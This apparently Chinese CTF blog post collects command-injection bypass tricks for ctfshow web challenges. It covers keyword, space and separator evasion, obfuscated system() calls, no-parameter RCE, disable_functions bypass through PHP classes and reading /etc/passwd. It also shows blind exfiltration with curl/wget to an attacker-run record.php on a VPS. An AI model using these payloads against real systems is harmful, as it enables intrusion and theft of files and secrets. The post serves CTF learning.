命令执行总结(后续更)
总结下目前遇到的题目解法,大多数都直接用大佬的WP或者总结中一些trick,做个记录而已,有新的会更新的
命令执行:
过滤cat等关键词
- 代替
1
2
3
4
5
6
7
8
9
10
11
12
13more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容 - 使用转义符/与\效果一样,’’和””效果一样
1
2ca\t /fl\ag
cat fl''ag - 内联执行绕过
拼接
1 | 1;a=fl;b=ag.php;cat$IFS$a$b |
在linux里$和PHP中的`一个作用,我们也可以这样
1 | a=ca;b=t;c=./flag |
- 变量绕过
1
2a=c;b=a;c=t;
$a$b$c 1.txt - 编码进制绕过16进制
1
2
3
4
5
6
7[root~]# echo 'cat' | base64
Y2F0wqAK
[root~]# `echo 'Y2F0wqAK' | base64 -d` 1.txt
hello world其他进制同理1
2echo "0x636174202e2f666c6167"|xxd -r -p|bash
或者采用上述$符号来执行也行 - 过滤文件名绕过(比如etc/passwd)
1
2
3
4
51)利用正则匹配绕过
[root~]# cat /???/pass*
2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
[root~]# cat /???/pass*
备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/ - 命令执行函数system()绕过
1
2
3
4
5
6
7“\x73\x79\x73\x74\x65\x6d”(“cat%20/flag”);
(sy.(st).em)(whoami);
使用内敛执行代替system
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls); - 使用
$*
和$@
,$x
,${x}
原理:在没有传参的情况下,上面的特殊变量都是为空
1 | ca$*t ./flag |
- 读取文件dir与ls的升级版
1
2
3
4
5curl file:///flag
strings /flag
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd1
find -- 列出当前目录下的文件以及子目录所有文件
过滤空格
1 | %09(url传递)(cat%09flag.php) |
过滤目录分隔符/
1 | <?php |
采用多个管道命令即可
1 | ;cd flag_is_here;cat * |
过滤分隔符|&;
1 | ; //分号 |
可用%0a来代替,%0a一般情况下是最标准的命令链接符号
换行符 %0a ?cmd=123%0als 回车符 %0d ?cmd=123%0dls 连续指令 ; ?1=123;pwd 后台进程 & ?1=123&pwd 管道 | ?1=123|pwd 逻辑运算 ||或&& ?1=123&&pwd ?>代替;
在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在php语句之后加上一个分号
例题:ctfshow36web
1 | <?php |
这道题过滤了;,我们就可以尝试用?>来代替分号
1 | include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php |
字符串长度受限
https://www.anquanke.com/post/id/87203
1 | root@kali:~/桌面# echo "flag{hahaha}" > flag.txt |
\是指换行,ls -t将文件按照时间顺序输出,sh可以从一个文件中读取命令来执行
无回显
- shell_exec等无回显函数
判断:ls;sleep(3)
利用:
复制,压缩,写shell等方法
1 | copy flag.php 1.txt |
然后访问1.txt等对应生成的文件
在vps上建立记录脚本
在自己的公网服务器站点根目录写入php文件,内容如下record.php
1 | <?php |
在目标服务器的测试点可以发送下面其中任意一条请求进行测试
curl http://..*.**/record.php?data=cat flag.php|base64
wget http://.../record.php?data=cat flag.php|base64
通过Http请求/dns请求等方式带出数据
利用:
curl 命令
.域名
sample:
1 | #用<替换读取文件中的空格,且对输出结果base64编码 |
更多方法参考:https://blog.csdn.net/qq_43625917/article/details/107873787
linux tee命令
linux tee命令用于读取标准输入的数据,并将其内容输出成文件
1 | 用法: |
2.>/dev/null 2>&1类无回显
sample:ctfshow web入门42
1 | <?php |
/dev/null 2>&1意思是不进行回显的意思
进行命令分割就可
1 | ; //分号 |
payload:
1 | cat flag.php|| |
无数字字母getshell
思路:取反~,异或^,或运算|
这里羽师傅做过总结的:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
或运算:ctfshow-web41
1 | <?php |
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
题解:https://wp.ctf.show/d/137-ctfshow-web-web41
使用方法:
1 | python3 exp.py 题目地址 |
过滤括号
使用不需要括号的函数
- echo
1
echo `cat /flag`
- require,include不需要引号和空格
1
2require '/flag'
include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php1
2#<?=require~~flag.txt?>
<?=require~%d0%99%93%9e%98?>无参数RCE
无参数详解:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
读取目录:
1 | print_r(scandir(current(localeconv()))); |
注:pos(localeconv())等于.
读取flag文件:
1 | print_r(readfile(next(array_reverse(scandir(pos(localeconv())))))); |
内敛执行(常用)
常用payload:
1 | echo `ls`; |
将``或$()内命令的输出作为输入执行
open_basedir绕过
disable_function绕过
通配符+绝对路径调用命令
原理:
因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制。
一些常用工具所在目录:
/bin/cat
/bin/base64 flag.php
:base64编码flag.php的内容。
/usr/bin/bzip2 flag.php
:将flag.php文件进行压缩,然后再将其下载
题目:ctfshow-web入门55
1 | <?php |
主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。
sample1:
1 | /???/????64 ????.??? #/bin/base64 flag.php |
sample2:
1 | /???/???/????2 ????.??? #/usr/bin/bzip2 flag.php |
然后下载即可
grep绕过关键词过滤
使用:
1 | grep { flag.php |
打印flag.php中含有{的行
题目:ctfshow-web入门54
1 | <?php |
滤了很多关键词,正好grep没有过滤,再用${IFS}代替空格,fla?.php代替flag.php即可绕过。
payload:
1 | grep${IFS}f${IFS}fla?.php |
使用~$()构造数字
例题:ctfshow-web入门57
1 | <?php |
需要传36,但是禁了数字。
查了一下资料,发现在shell中可以利用$
和()
进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可
$(())
代表做一次运算,因为里面为空,也表示值为0
$((~$(())))
对0作取反运算,值为-1
$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
所以我们只需要构造出-37,再进行取反就可以得到36。鉴于太复杂,写个jio本
1 | data = "$((~$(("+"$((~$(())))"*37+"))))" |
生成的payload:
1 | data = "$((~$(("+"$((~$(())))"*37+"))))" |
disable_funcitons全通payload
该方法使用php类来绕过,可以配置disable_classes来禁用类
读目录
1 | $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}; |
读文件
1 | try { |
利用php内置类rce
利用 FilesystemIterator 获取指定目录下的所有文件
题:ctfshow-web110
1 | <?php |
payload:
?v1=FilesystemIterator&v2=getcwd
使用PHP的反射类ReflectionClass、ReflectionMethod和PHP异常处理 Exception来rce
题:ctfshow-web109
1 | <?php |
payload:
1 | ?v1=Exception&v2=system('cat *') |
$PATH环境变量绕过
第一种,可以使用大写字母数字和{}
可以使用环境变量来绕过,$PATH
环境变量截取字母
1 | $PATH |